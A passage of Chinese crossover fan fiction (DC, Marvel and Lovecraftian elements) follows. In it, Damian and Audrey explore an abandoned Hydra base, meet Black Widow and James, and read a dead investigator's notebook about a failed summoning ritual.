达米安查看后，发现那是一款老式锁具，结构非常精密复杂。他取出开锁工具，奥德莉却拦住了他，从中挑了一根细长铁丝，说：“我有个猜想，让我先验证一下。” 奥德莉用铁丝毫无章法地在锁眼里拨弄了几下，门锁竟然轻易地被打开了。达米安十分惊讶，奥德莉却有意料之中的感觉。 “刚才开启石板的时候我就在想，可能是我的启之术法又精进了。”她有点得意，又有点苦恼地叹了口气。“但我好像必须先装模作样地鼓捣一下，才能‘自然地’、‘合理地’打开门。完全做不到那种潇洒地一挥手或是念一声‘阿拉霍洞开’，门就自己打开。这样太不酷了。” 达米安忍不住笑了，为她的能力增长而高兴，也好奇她的能力是否适用于现代科技。他提议道：“回去之后找个保险柜让你试试，看看你能不能随意扭几下就把它打开。” “好主意。记得找最先进、最难开的那种。”奥德莉叮嘱道。 “韦恩家只有最先进的。”达米安用布鲁斯那种懒洋洋的声调说，在“只有”上加了重音。 奥德莉把铁丝还给达米安，顺便用铁丝轻戳他的手心一下，佯装严肃地说：“禁止模仿。” 达米安顺势握住铁丝，说：“就算韦恩先生的律师团来，我也有抗辩理由——这是祖传的钞能力。” 奥德莉无法反驳，哼了一声，推开门率先走进去。门后是一间巨大的资料室，天花板上的灯随着门打开而亮起，发出电流的滋啦声。 屋里摆满了铁质储物柜。柜门大多紧闭，个别半开，露出里头堆叠整齐的档案夹与磁带盒。二十世纪四十年代时，磁带还属于尖端科技，只被用于军用计算系统和侦察设备。 墙边摆着几张桌子，一些纸质文件和资料夹凌乱地摊在上面，仿佛有人刚刚工作到一半，被突发状况打断而匆忙离开，从此再未回来。那些落满细尘的纸张已泛黄，但墨水依然清晰可辨。 两人翻看着那些文件，不由得为九头蛇曾经的疯狂设想而震撼。那些冷静自制的文字记录了一场构思宏大而疯狂的实验：引入未知存在的力量，将其意志注入人类实验体，再将其重构为服从九头蛇命令的兵器。 “真是大胆的想法，我开始佩服他们了。”奥德莉看着纸上的手绘草图和密密麻麻的技术参数，冒出了一个“好主意”，对着达米安嘀嘀咕咕：“如果他们不是做人体实验，而是将外神的力量注入机械体，我觉得……值得继续研究。说不定钢铁侠会感兴趣。” “幻视可能不会支持你的提议。”达米安说。 幻视是反派奥创造出的机械有机体，身体以稀有金属振金为材料制作，生命的来源是心灵宝石。现在他是复仇者联盟的一员。 “那你呢？钞能力者。” “我担心钢骨来韦恩庄园门口拉横幅抗议。” “钢骨”维克多斯通的身体在一起事故中被严重损坏，科学家父亲为了救他而将他改造为机械体。 奥德莉有点遗憾地暂时搁置了想法，又仔细看纸上的草图：“看起来，他们已经有很成熟的设计了。他们取得了巨大进展，甚至是已经成功了。” “但他们最后失败了，不知道是实验功亏一篑还是……被人阻止了。”达米安想到入口处被撬开的门锁。 两人又转向一排排铁制储物柜。抽屉斑驳锈蚀，拉动时发出刺耳的金属摩擦声。有些抽屉几乎锈死，需要用力拉拽才能打开。柜子上贴着发黄的标签，用德语写着“意识重构日志”、“失败记录”、“阶段报告”等。 达米安拉开贴着“阶段报告”标签的抽屉，视线扫过按时间顺序归档的文件夹，目光停在侧边标注“1940年5月3日”的那一本上。 “这是最新的。”他将那本略显厚重的报告抽了出来，翻开第一页。 【赫拉克勒斯计划取得了重大进展。我们已实现外神意志向实验体的稳定导入。 实验体的平均存活时间仍不超过四十八小时。在躯体彻底崩解前约六小时，普遍出现以下症状：语言结构严重扭曲、神经反应紊乱、对指挥者产生不可控攻击倾向。】 报告后面附上了实验过程的详细描述和具体参数。 “这个计划的名字太讽刺了。也很不详。”奥德莉说。 赫拉克勒斯是希腊神话中的大力士英雄。他被吩咐去完成十二项伟业，其中第二项是杀死九头蛇。九头蛇在临死之前诅咒赫拉克勒斯，说他必然会被自己的毒液毒死。 九头蛇的毒液非常珍贵，即使是不死之身也无法存活，因此赫拉克勒斯将毒液抹在自己的箭头上。后来，赫拉克勒斯射伤了有不死之身的人马涅索斯。涅索斯在死前欺骗赫拉克勒斯的妻子，谎称只要将他的血涂抹在丈夫的衣服上，便能获得丈夫忠贞不渝的爱。妻子听闻赫拉克勒斯将迎娶她人，上了当，便照做了。 赫拉克勒斯穿上那件衣服后，九头蛇的毒液通过涅索斯的血渗入他的肌肤，他因此死去。 “起这个名字的人是何等的狂妄，他认为自己比神话中的九头蛇更厉害，不仅能掌控杀死神明的毒液，还能在神明尚存之时便驾驭祂的力量。”达米安自认为已经见过很多疯子了，但总有人会更疯狂。 “在这次报告之后，他们又有了新的设计，也许找到了解决办法。”奥德莉指指桌上的图纸。“我们应该去其它房间看看。” 两人又去打开第二扇门，映入眼帘的是一排排铁栏牢房，地面和墙壁上都有干涸的血迹与颜色暗淡的不明物质。奇怪的是，其中几间牢房的门是敞开的。 尽管时光流逝多年，空气中依然弥漫着一股难闻的腐败气味。两人快步走到外面关上门，深呼吸了几下。 “牢房里的人可能逃走了。”奥德莉猜测。“九头蛇的人应该不会忘记锁门吧。” 达米安不确定：“囚徒越狱吗？感觉说不通，或许还有其它隐情。” 两人又走向第三扇门。门后是一间间布置简洁的休息室，显然是九头蛇成员的宿舍区域。 “他们一点私人物品都没有吗？”奥德莉逐一推开休息室的门，却发现房间里除了制式家具外空无一物。衣柜里挂着一模一样的制服，没有丝毫个人痕迹。 “九头蛇的军事化管理很严格。”达米安说。 “看着真压抑，简直和待在核潜艇里没什么两样。”奥德莉开始推理：“会不会是他们精神崩溃，发生内乱了？” “你太小瞧他们了。据我所知，早期的九头蛇成员都是精英中的精英，即便在更严苛的环境下，也能保持绝对的纪律和控制力。” 大侦探奥德莉又一次寻找线索失败，郁闷地去开第四扇门。 第70章 第四扇门后是一间宽敞的储藏室。一进门，最引人注目的便是一排排的武器…… 第四扇门后是一间宽敞的储藏室。一进门,最引人注目的便是一排排的武器架。除了常规的步枪与手枪，还有冷战时期的重火力装备MG34通用机枪以及火焰/喷射器。 “这些可不只是常规军火。”达米安看着旁边箱子里规整摆放的穿/甲弹和高爆弹头。“看来实验体不只是战斗力强，身体防御也被强化了。” 房间很深,铁架子一排接一排地延伸至阴影深处。中段区域整齐摆放着罐头、干粮、速溶咖啡与急救药品,最深处则堆着尚未开封的物资纸箱。 “难怪宿舍区域没有厨房。不过这样倒是节省时间。”达米安说,语气中竟然带着一丝近乎褒奖的意味。 “他们天天只能吃这些吗？我都有点同情他们了。”奥德莉看得皱起眉头。虽然罐头的种类堪称丰富——水果、蔬菜、肉类——在那个年代属于常人不敢奢望的供给，但对现代人来说，每日三餐以此为食的话很快会觉得生无可恋。“在这样的环境里工作,正常人也会发疯吧。” 打开第五扇门之前，奥德莉推门的手短暂地顿了一下。她有点紧张地看看达米安，说：“我们离答案越来越近了。” 他们至今没有看到任何活人，这一点并不意外,但他们也没有发现一具尸体,这就太不合理了。以基地的规模和那些牢房、储备物资的情况来看，这里曾长时间有人驻扎,如今却空无一人，连死后的痕迹都仿佛被抹去。 “保持警惕。”达米安说。他死死地盯着门，已经做好了战斗准备。 门后是一条昏暗的走廊,随着门被打开,壁灯像被唤醒一般，一盏接一盏由近及远地亮起，发出惨白冰冷的光。 奥德莉和达米安对视一眼，并肩前行。他们沿着走廊走了大约二十米，尽头*的门自动滑开,一间极其巨大的实验室展现在眼前。 这是他们在基地内见到的最大空间,高约两层楼，横向延展数十米,顶部是交错的钢梁结构。白色的顶灯逐一亮起，照出了一排排被损毁的设备以及数个巨大的镶嵌了玻璃窗的金属舱体，多数舱体已经破损。 然而，第一时间冲击他们感官的是那股令人作呕的气味——血肉腐烂的气息，不是某具尸体，而是仿佛整个空间都曾浸泡在腐败与死亡中，沉积到连空气都变得粘稠。 奥德莉强忍住呕吐的冲动，艰难地看向地面。那里到处都是早已干涸却仍带着粘稠光泽的血肉残渣，暗红与褐黑交错，混杂着惨白的骨骼碎片。血肉之中夹杂着破碎的衣物碎片，一些是他们在宿舍区见过的制式制服，另一些材质粗糙，可能是囚服。 “他们是……像蜡烛一样融化在一起了吗？”奥德莉意识到自己的嗓子干涩发紧，声音哑得不像话。 她移开视线，不再注视那些无法辨识的人体残骸。也许只有经验老到的法医才能从这地狱般的景象中判断出到底有多少具尸体，她只能确定一点：数量巨大，远超过她愿意或是敢于去想象的上限。 达米安默默地移动脚步，站得离奥德莉更近一些。但他没有伸手去轻拍她的背，或是拉住她的手，因为他知道奥德莉足够坚强。她选择了成为一名调查员，这意味着她必须直面那些常人无法承受的黑暗与恐怖。 两人扫视四周，透过远处由厚重玻璃构成的弧形墙体，他们能看到对面空无一人的区域。那边看起来是控制室，摆放着巨大的老式计算机和操作台。他们所在的位置像是实验区域。 一墙之隔，分割了观察者与实验品的界限。 “对面是九头蛇指挥实验的地方。”奥德莉猜测。“但那边和这里没有门连接。也许那边需要从第六扇门进去。” “看起来是这样。”达米安说。“但对面看起来很正常。连血迹都没有。” “我们先查看这边吧。”奥德莉强忍着恶心，将视线投向残存的设备，努力无视地面。 “那里有一个人。”达米安注意到一个金属舱与其它的不同。 奥德莉顺着达米安的手指看过去。透过玻璃，他们能看到一个完整的人类侧影。她倚在玻璃上，似乎睡着了，神态平和。 两人踮着脚走过去，尽量减少与地面的接触。奥德莉伸手轻轻拉了拉舱门，发现门并未上锁，很轻松地就被打开了。舱内空间虽不算宽敞，但足够两人一起站立其中。 一位穿着飞行员夹克和深色长裤的女子坐在舱内的金属座椅上，身体微微侧倾，头抵着玻璃，双手交叠在腿上，握着一本皮封笔记本。她看起来四十几岁，衣着整齐，四肢完整，露在衣物外的皮肤没有明显的伤口或腐败的痕迹。她的脚边放着一个旧式帆布背包，布料已经因年久而褪色了。 奥德莉盯着女子的胸口和肩膀，试图捕捉任何一丝细微的起伏，但什么也没有。 达米安伸出手，在女子的颈侧轻触了一下，说：“没有脉搏。” “如果她死了许多年，尸体不应该是这个状态吧？而且，她看起来很……完整。”奥德莉犹豫着说出这个评价。不知为何，女子并没有和舱外地面上的血肉融为一体。 这是两人在基地里看到的唯一一具人形尸体。他们仔细打量着女子，试图找出一些蛛丝马迹。 “她穿的不是制服，不是基地的人。”达米安说。“也许她就是撬开入口大门的闯入者。” “她的戒指。”奥德莉忽然低声说。“这是密大的毕业生戒指。” 她俯身仔细观察那枚套在女子左手食指上的金属戒圈，上面是熟悉的徽纹——那是密大的校徽。 达米安也明白了：“她是一名调查员。” 奥德莉轻轻说了一声“抱歉”，然后小心地抬起女子的手，将笔记本抽出来。女子的手指已经冰冷，却并不僵硬。 打开扉页，奥德莉立刻看到了笔记主人的名字：西西莉亚柏恩。 笔记最前面的十几页记述了西西莉亚在非洲的经历，在那里她结识了一位名为柏瑞尔马卡姆的女飞行员。柏瑞尔并未接受过系统的无形之术教育，但她的父亲是一名从英国移居非洲的学者，她从父亲那里学到了不少本事。 柏瑞尔的一位美国飞行员朋友告诉西西莉亚，九头蛇曾通过中间人雇佣他勘探和绘制白山森林附近的地形图。那名飞行员讥讽地说：“我可没那么蠢，他们对目标描述的用词，还有支付方式，都有种掩饰不了的急迫和傲慢。” “那你应下了吗？”西西莉亚随口问。 “当然，他们给得够多，我不做的话，也会有别人去赚这个钱。” 西西莉亚心下反感，但面上并不表露，装成一个很捧场的、没什么头脑的女性，很快便套出了更多话。那名飞行员知道的信息有限，只听闻九头蛇要建造一个地下基地，但是他的一句话让西西莉亚警惕起来。他说：“他们说那里是‘旧地脉’，真是个奇怪的词。” “旧地脉”不是普通人会用的地理术语，密大地理课中用它指代最适合召唤外神力量的地点。无论九头蛇想干什么，一定与外神有关。 经过一番调查和准备，西西莉亚潜入了这处基地。她不擅长启之术法，只能在树林中潜伏观察，学习九头蛇人员开启入口石板的方式——“他们按照奇怪的节奏敲击石板，幸好我的记忆力还不错。”她在笔记里这样抱怨着。但对于梯井下方入口处的金属门，她只能用暴力的方式把它撬开。 “她真聪明，而且非常勇敢。”奥德莉敬佩地说。她抬头去看西西莉亚，尽管对方已经去世了，但眉眼之间仍然透出沉静的坚毅，那是经年累月的职业生涯淬炼出来的。 她的脸上没有恐惧或犹疑，奥德莉几乎能在脑海中勾勒出她在生命最后一刻的样子：冷静、果断、从容。 娜塔莎和詹姆斯在森林中进行着地毯式搜索，从凌晨到天亮，仍没有找到基地的痕迹。 “你再想想，还能记起什么细节吗？”休息时，娜塔莎靠在一棵大树上，语气平静地问。 詹姆斯蹲坐在地上，闭上眼努力回忆，但他经历过太多次洗脑，许多记忆就像破碎的玻璃，模糊不清、残缺不全。他皱着眉，额头沁出细密的冷汗，像是在与某种无形的阻力对抗。 “对不起……”最终，詹姆斯说。 “你不需要为此而抱歉，傻瓜。”娜塔莎将手放在詹姆斯的肩膀上。“再说了，今天天气很好，我不介意闲逛一天。这里的空气可比纽约的好多了。” 詹姆斯抬起头看着娜塔莎，对视了几秒后，后者一把将他拉了起来：“别偷懒了，我们出发。” “哦，小娜，你可真是严格。”詹姆斯假意抱怨。 “是从我的教官那里学来的。”娜塔莎笑着说。 两人又走了一阵，娜塔莎忽然停下脚步，目光落在一处被压倒的草丛上：“最近有人来过这里。” “这里一般不会有人来。不会是那个韦恩和他的朋友吧。”詹姆斯微微皱起眉。“我不喜欢任务里有平民出现，太容易出乱子了。” 他走到草地间，在看到大开的梯井入口时叹了口气：“找到了。看来有人先我们一步。” “我倒宁可是韦恩。”娜塔莎望着梯井。“总比敌人好。” 两人灵活地爬到底部，悄无声息地进入基地。环顾四周，娜塔莎朝最右侧的门扬扬下巴：“去看看？” 詹姆斯立刻上前，将机械臂的指尖插进锁口，内置的开锁装置很快将门打开了。 “托尼到底给你安了多少小工具？”尽管娜塔莎的开锁技术堪称大师级别，但对詹姆斯这种作弊般的能力还是忍不住有些羡慕。 詹姆斯耸耸肩：“我倒感觉他有点过于上瘾了。你知道吗，他居然还想给我装个奶泡搅拌器的功能，被我拒绝了。” “哦，那太可惜了。我很乐意在战斗中来一杯拉花拿铁。” 两人轻松地交谈着，眼神却始终扫视着四周，丝毫没有放松警惕。【你现在阅读的是 】 70-80 第71章 奥德莉和达米安并肩站在金属舱里，借着外面的灯光，继续阅读西西莉亚的…… 奥德莉和达米安并肩站在金属舱里,借着外面的灯光，继续阅读西西莉亚的笔记。两人的头几乎挨在一起，像是暴风雨中依偎在一片巨大树叶下的两只小松鼠。 尽管西西莉亚已经去世多年,她端正却略显急促的笔迹仿佛存留了她的意志,穿越沉寂的岁月,为奥德莉带来安全感，帮她抵御这座基地的可怖。 奥德莉偶尔低声说几句感慨，语气中带着思索。达米安始终专注地听着,时不时简短却认真地回应。 进入基地之后，西西莉亚施展蛾之混淆，在他人的感知中，她成了一种过于平常而被主动忽略的存在。她被视线跳过、被心智排除,谁都不会多看她一眼。 她小心地游走于基地内,翻阅文件、倾听讨论，甚至围观了一场失败的实验。数日后,她对于九头蛇的赫拉克勒斯计划有了全面的了解。 最初的赫拉克勒斯计划是将外神的力量注入忠诚于九头蛇的人类体内，这些人将保留自身的意识，成为组织的强大武器。 然而,实验很快暴露出一个他们无法解决的问题：人类的意识无法真正承载外神的本质。那些试图与外神力量“共存”的实验体都立刻精神崩溃,然后迅速化成一滩融化的血肉。 读到此处，奥德莉立刻想到小丑：“小丑只是获得了外神一点点的力量就精神崩溃了，九头蛇的实验体总不至于比小丑还厉害。” 达米安看着笔记中的数据，说：“他们竟然想引入外神全部的力量，也难怪实验体连一分钟都坚持不到。” 奥德莉更震惊于九头蛇的草菅人命：“实验失败后,他们竟然不是马上想着改进,而是换上意志更为坚定的成员，死了十余人之后才决定调整实验方向。” “他们这种永不放弃的精神,如果能放在正义的事情上，还挺有激励意义的。”达米安嘲讽道。 两人继续读下去。新的方案更加极端和危险：将人类彻底作为外神的容器，打造出一个囚笼般的躯壳。实验体的意识被彻底抹除，躯体则被改造以承载外神的力量与意识。 至于如何让武器忠诚于组织，这可是九头蛇的专业范畴。他们计划了一整套心理与精神层面的手段，包括高强度的洗脑程序、潜意识暗示、认知重构与精神解构技术等。趁着外神在被封入人类身体之后处于一种受限和弱化的状态时，他们先对外神的意识进行“格式化”处理，再将其洗脑成忠于九头蛇的武器。 “这个计划真的是越来越大胆了。”奥德莉喃喃地说。 西西莉亚显然也曾被震撼过，在笔记中用整整三页详尽地记录了九头蛇研究方案的核心内容。这是出于对知识的尊重和承认，因为谁也不能否认这套疯狂计划中蕴藏的可怕智慧。 九头蛇已经构建出了复杂得近乎疯狂的仪式，混合着数学公式、符文语言和宗教意象，像是科学与巫术被强行拼接在一起的怪物。不得不说，他们做出了前无古人、也可能后无来者的伟大实验。 但在记录和研读的过程中，西西莉亚惊恐地发现：九头蛇的天才研究员们犯下了一个致命的错误。 那一刻，她几乎忘记了如何呼吸。 研究员在翻译与编写仪式文本时，对古语言的理解出现了偏差。他们以为写下的那段咒语旨在强化实验体的身体以防止其崩解，整个仪式围绕这个前提进行设计，环环相扣。然而，那段咒语的真正含义并非加固容器，而是打开一条裂口—— 外神将顺着仪式的路径挣脱维度的限制，彻底降临在现实世界。 “我看懂了结论，但没有完全看懂推导过程。”奥德莉盯着西西莉亚写下的关于仪式的详细分析，包括她是如何发现那处错误的。从西西莉亚的笔迹中可以看出她在思考时的停顿与反复。 这就像是在看一道高等数学题的解题答案，题目能看懂，结论也明白，但那一行行分析过程，人在看到一半时就彻底迷路了。 奥德莉思考了一会儿，决定暂时搁置，留待以后研究。她感叹道：“如果换作是我，很可能发现不了这个错误。” “你还是新手，西西莉亚已经有几十年的知识储备和经验了。”达米安勉励道。 两人正在小声交谈，忽然听到玻璃墙体对面的区域传来一阵响动，像是门打开的声音。他们立刻噤声，本能地压低身体，悄无声息地蹲下。 借着舱体的遮掩朝外看去，达米安辨认出了对面的一男一女，无声地对奥德莉说：“复仇者联盟。” 奥德莉读懂了达米安的口型。她犹豫起来，不确定此时此地是否该与对方接触。达米安注意到她的神情变化，一眼便看穿了她的顾虑。 复仇者联盟的主要成员大多早已公开身份，但蝙蝠系义警始终隐匿于阴影之中。奥德莉担心和复仇者联盟成员接触太多之后，达米安的身份会被怀疑。 达米安对自己的演技充满信心，不仅因为他有丰富的伪装和潜伏经验，还因为有奥德莉在，他几乎不需要太多发挥——奥德莉作为调查员的身份可以为他提供完美掩护，他只需要扮演一个毫无威胁、没有头脑、甚至让人忍不住想忽略的“无能草包”即可。 因此，达米安指了指对面两人，对奥德莉轻轻点头。 “好吧。”奥德莉站起身，朝对面的人用力挥手，吸引他们的注意。 娜塔莎和詹姆斯已经看到了对面房间的可怕景象，心头沉重，正准备折返到入口处，再从右侧第二扇门进去时，忽然发现实验舱里有人正朝他们热情挥手。 “真是诡异的场景，不过她看起来没有敌意。”娜塔莎盯着奥德莉灿烂的笑容，语气中带着几分迟疑。 奥德莉指了指入口方向，示意他们需要绕到外面才能进来。娜塔莎点头表示明白，和詹姆斯一同迅速来到实验区域。 尽管早已隔着玻璃窥见地面上的惨状，但当两名身经百战的特工真正踏入房间时，仍难掩心头涌起的恶心和恐怖之感。 达米安尽力挤在奥德莉身边，一脸惊恐，仿佛被吓破了胆，只有紧贴着她才能找到一丝安全感。他死死揪着奥德莉身后的衣角，恨不得能完全蜷缩起来，让她成为他的屏障，帮他远离西西莉亚。 奥德莉好心地招呼新来的两个人：“这里还有位置，你们站里面来吧。” 身材高大健硕的詹姆斯有些犹豫：“会不会太挤了？” 娜塔莎则毫不迟疑，轻盈地跳进舱内，随后转头看了詹姆斯一眼。 “好吧。”詹姆斯也挤了进去，努力蜷缩在娜塔莎身旁，尽量减少自己占据的空间。 四人加上一具冰冷的尸体紧紧挤在一起，艰难地安顿下来。 奥德莉清了清嗓子，自我介绍：“我是奥德莉，是密斯卡托尼克大学的学生。这是达米安。我们来山里露营，无意中发现了这个基地。” 她说的全都是实话。娜塔莎细致观察着，居然没发现丝毫破绽，只能暂且选择相信。正当娜塔莎准备用假身份自我介绍时，奥德莉突然直截了当地说：“我认识你，你是黑寡妇。” “叫我‘娜塔莎’。”娜塔莎语气自然，仿佛原本就准备坦诚身份。“这是詹姆斯。” 她随即转向达米安，语气中带着一丝歉意：“不好意思，之前没有告诉你。” 达米安摇了摇头，故意演出一副纨绔却胆小的富家子弟模样，装作被这里的环境吓得神思恍惚，眼神游离，仿佛随时会崩溃。 奥德莉在心里忍不住吐槽达米安的偷懒——要是布鲁斯在这里，肯定会具备演员的自我修养，按照角色小传将韦恩少爷演得立体又生动。 但她还是帮达米安维护人设，解释道：“他吓坏了，到现在还说不出话来。” 为了让解释更具有说服力，奥德莉又补充一句：“他平时看起来很厉害，经常玩什么极限运动，其实就是个花架子，一点小事就吓得不行了。” 达米安知道奥德莉是在故意胡说，但还是有些郁闷，悄悄地在另外两人看不见的角度轻轻敲她的后背，用摩尔斯电码控诉她是“邪恶的棉花团子”。 奥德莉感受到达米安的小动作。虽然她对摩尔斯电码略知一二，但解码水平有限，只能猜测达米安是在抱怨自己说他坏话。她安详地想：敲吧敲吧，反正我也听不懂…… “你不害怕吗？”娜塔莎问，眼神里带着一丝试探。她觉得“密斯卡托尼克大学”这个名字有些耳熟。 “我是一名调查员，这种场景对我来说不算什么。”奥德莉小小地吹了个牛。 听到“调查员”三个字，娜塔莎终于想起了为什么这所大学听起来那么熟悉。她虽然和密大的交集很少，但偶尔也听说过一些神秘侧的传闻。 但娜塔莎很快判断出，与其说奥德莉是因为见多识广而对周围毫无畏惧，不如说她只是在强撑。或许是因为同伴太不靠谱，虽然奥德莉还只是一名密大的学生，并不算正式调查员，却不得不硬着头皮保持镇定。 奥德莉简单描述了另外几扇门后面的场景，又郑重其事地介绍西西莉亚：“这是我的校友西西莉亚，她为了阻止九头蛇的疯狂计划而牺牲了。” “到底发生了什么？”娜塔莎问。 奥德莉还没有读到那部分。她举起手中的笔记本，说：“我们很快就会知道了。” 第72章 奥德莉捧着笔记本，轻轻翻开新的一页，读出上面的内容。娜塔莎站在她旁…… 奥德莉捧着笔记本,轻轻翻开新的一页，读出上面的内容。娜塔莎站在她旁边，神色凝重地低头看着纸上的笔迹。空间狭小,詹姆斯只能挤在一旁,神情专注地听着。 即使不是被关注的对象,达米安依旧谨慎地维持着他那副胆怯的伪装，微微缩着肩膀躲在奥德莉身后，仿佛被室内晦暗可怕的气息和那些听起来诡谲的词句吓倒,压根不敢直视笔记本。但实际上，他正竖起耳朵认真地听着奥德莉的朗读。 西西莉亚发现了九头蛇研究员的错误，但她发现的时间太晚了。新一次的实验已经开始。空气中隐隐传来低沉的轰鸣声，那是机器启动的声音。 西西莉亚心中有一种近乎绝望的确信：这一次,九头蛇会成功。不是人类意义上的成功,譬如人类终于掌握了神明的力量，而是从外神的角度而言的成功——祂将不再只是对这一维度投影,而是第一次真身降临。 如果九头蛇没有多次进行实验并且对外神反复召唤，她或许还能说服自己这是一次未必会成功的仪式。但研究员和实验体们偶尔谵妄的呓语表明，祂已经知晓了这里的存在,并且投来了注视。 西西莉亚用理性强迫自己冷静下来,拼命地回忆着自己曾读过的一切——从失落文明的残篇断简，到密教教徒的私印手抄本——企图从记忆中找到与这次实验相符合的存在。阿撒托斯、奈亚拉托提普、犹格索托斯、莎布尼古拉丝……旧日支配者和外神的名讳在她脑中一个接一个浮现，却都无法与这次的迹象完全重合。 也许祂从未出现在人类的神话和传说中。这并不是人类已知的哪一位外神。 “真不错，我可能有了足以发表一篇论文的新发现。但现在这完全帮不到我。”西西莉亚在笔记的边角写下这句自嘲的评论，字迹中透着一丝疲惫和无奈。 西西莉亚面前只有两个选择。 第一个选择是立刻传送离开,带着援手重新返回这里。但西西莉亚心里明白,一旦仪式完成，他们可能无法对抗这位未知的外神。她的求助与挣扎最多也只是为自己争取到一小段时间——足够让她与家人告别,足够让他们依偎着一起走向最后的终结。 或者，即便人类真的想出了对抗这位外神的办法，在那个过程中又会有多少人死去？ 第二个选择是竭尽全力阻止实验的完成。她犹豫了一瞬，但很快做出了决定。 她孤身一人，无法正面对抗九头蛇的武装力量，于是她决定制造混乱，将那些被改造得异常强壮的实验品统统放出牢房。犯人们争先恐后地冲向大门，有些人甚至爬上了狭窄梯井，也有人愤怒地冲向了实验室，想要报复九头蛇成员。 九头蛇成员反应极快，第一时间启动了封锁程序，将地面的石板出口彻底封死。那些试图逃脱的犯人被迫折返，也开始攻击实验室。 一片混乱中，九头蛇的核心成员却依旧死守岗位，以机械般的精准完成了仪式的每一个步骤。但就在他们急切地等待预期的巨大成功时，所有人都感觉到某种可怖的力量透过实验体悄然渗透进来。 九头蛇的实验员们试图驱逐那位即将以真身降临的存在，但一切都无济于事。召唤已经完成，门已经打开，祂已经到达了。祂的气息如潮水般涌入基地，空气被扭曲，人们惊恐的尖叫声开始破裂变形。 “多么讽刺。九头蛇自诩为赫拉克勒斯，最终还是落得与神话中那头怪兽一样的下场。可惜他们没能留下哪怕一滴毒液去反咬他们召唤的外神。”西西莉亚这样写着。 在最后关头，西西莉亚的脑海中倏然闪过一段几乎遗忘的记忆——那是她在某个偏远村庄度过的夜晚，篝火熊熊，老者低语着古老的传说，讲述英雄以自身作为封印阻止了黑暗的侵袭。彼时的她不曾在意，如今那个故事却成为她唯一的希望。 她久违地想起童年时母亲给自己讲的故事，说她的祖先有许多异于常人之处。她曾真诚地相信过，随着年岁增长渐渐地不信了，尤其是当她发现密大的同学似乎都能讲出一段家族里古老而诡异的传说时。 但现在她希望，不，是渴望，母亲说的都是真的。 “除了这个，我还能做什么呢？”她仿佛是在嘲笑自己的不自量力，又像是在叹息命运的安排。 西西莉亚成功了。但在通道被关闭之前，外神的愤怒如狂风骤雨般席卷而来，瞬间夺走了在场所有人的生命。唯独她奇迹般地活下来，但她清楚自己的时间已经所剩无几。 被不可名状的可怖景象包围着，西西莉亚却觉得自己从没这么冷静过。她用最后的力量将自己的所见所闻、所思所想一字一句地记录下来。 这是她调查员生涯的最后一次记录。 最后的笔迹明显颤抖，她艰难地写下：“若你发现了我的尸体，请帮忙联络密斯卡托尼克大学，他们会带我回家。” 紧接着是两行模糊到难以辨认的拉丁文： “ExIgnorantiaAdSapientiam; ExLuceAdTenebras.” “这是我们的校训。”奥德莉盯着那两行字。“从无知到智慧；从光明到黑暗。” 她曾一度困惑于后半句话，以为那是对知识的警示，意味着傲慢求知者容易堕落。可现在她有了新的感悟。 西西莉亚在光明中成长，却甘愿走入黑暗。她没有被诱惑，也没有迷失，只是选择踏入黑暗之中，以守护者的姿态挡在了所有人面前。 “我回去就联系学校。”奥德莉说。“但我不能就这样把带她走，以免对封印造成任何影响，那她的牺牲就付之东流了。” 娜塔莎保证道：“复仇者联盟不会移动西西莉亚的身体，你可以放心。我们也不希望自找麻烦。” 奥德莉点点头，说：“我带达米安传送回哥谭。你们要一起离开吗？” 娜塔莎坦诚地说：“我们想再查看一下这个基地。”这是她的职业习惯。即使她相信奥德莉没有说谎，但还是想亲自检查一遍，以免有被遗漏的信息。 奥德莉对此并不在意，她将笔记本塞到背包里，然后拉着达米安的手传送到了韦恩庄园。阿尔弗雷德很快出现，说：“欢迎回来。午饭，哦不，晚饭已经准备好了。” “竟然已经下午四点了！”奥德莉看向客厅的座钟，没意识到时间过得这么快。“刚才还没觉得，我现在饿得要命。” 达米安终于不必再表演，他如释重负，但亦步亦趋地跟在奥德莉身边朝餐厅走去。 “你为什么贴我这么近？”奥德莉抗议。 “我害怕嘛。”达米安理直气壮地说。 “导演喊停了，不要再演了。”奥德莉用胳膊肘不轻不重地将达米安推开，达米安故意不躲，装模作样地呼痛。 被他这么一闹，奥德莉原本有点阴郁的心情忽然轻松了不少。带着一丝笑意，她慷慨地许诺：“下次我来演被吓坏的那个人，你可以随便说我的坏话，我绝不记仇。” 阿尔弗雷德端上了沙拉和鸡汤面，这是达米安临行前的建议。考虑到两人在山里会以烤肉为主，他预料奥德莉回来之后可能会想吃一点清淡的。 “天啊，这正是我现在需要的。”奥德莉喝着热乎乎的汤，满足地呼出一口气。 吃饱之后，奥德莉给阿米蒂奇教授写邮件，简单描述了西西莉亚的事情后，她问达米安：“入口的坐标是多少？” 达米安报上数值，奥德莉一并发给教授。几分钟后，阿米蒂奇教授回复说学校会立刻派人去处理此事，并请她尽快将笔记本送到图书馆。 奥德莉又打开群星智慧教堂的网站，在查询框里输入西西莉亚柏恩的全名。 “这是什么网站？密大的毕业生名录吗？”达米安问。 “这是调查员墓地的官方网站，可以在线为逝者献花。”奥德莉解释道，一边敲下回车键。“我想看看西西莉亚是否在那里有一块空墓碑。她失踪了这么多年，很可能早就被认定为死亡了。” 一个检索结果很快跳了出来。奥德莉点开后，映入两人眼帘的是一张西西莉亚的黑白照片。她坐在某个营地中，身前的木箱上摊着一张手绘地图，边角压着一块石头。照片的一角能看到不远处的篝火与几位正在用餐的身影。西西莉亚的齐肩长发随意地束起，身上披着一件略显旧的飞行员夹克，姿态随性，眼神坚定，面对镜头露出一个沉稳而温暖的笑容。 照片下方的备注写着：“拍摄于一九三五年，南美洲内陆。西西莉亚与几位调查员一同执行遗迹调查任务。” 网页下方是一段详尽的生平成就介绍，洋洋洒洒地列了数十行。 西西莉亚是密大开始招收女学生后第二批入学的女性之一。在校期间，她与当时仅有的几位女生共同组建了一个学术社团，专注于古文明与实地考察。社团的团长是阿塞纳丝维特，而担任副团长的正是西西莉亚。 “咦，她认识我的姑祖母。”奥德莉眼睛一亮，为发现了自己和西西莉亚之间的一点点联系而雀跃，也为在遥远历史与自身之间突然捕捉到一丝连接而感到不可思议。 介绍中还记载了西西莉亚在多次探险中的事迹，她曾深入非洲内陆调查一座被诅咒的古庙遗址，也曾在北极圈附近协助确认一处古代冰封祭坛的位置。她的调查笔记被保存在密大的图书馆中，为后来的调查员提供了许多重要参考信息。 介绍的最后一段提到西西莉亚最后一次被目击是在非洲，自那之后她便彻底失联。十几年后，官方记录最终将她的状态由“失踪”改为“死亡”。那一年，调查员墓地的一角立起了一块空墓碑。 “我想网站很快就会更新她的介绍了。”达米安说。 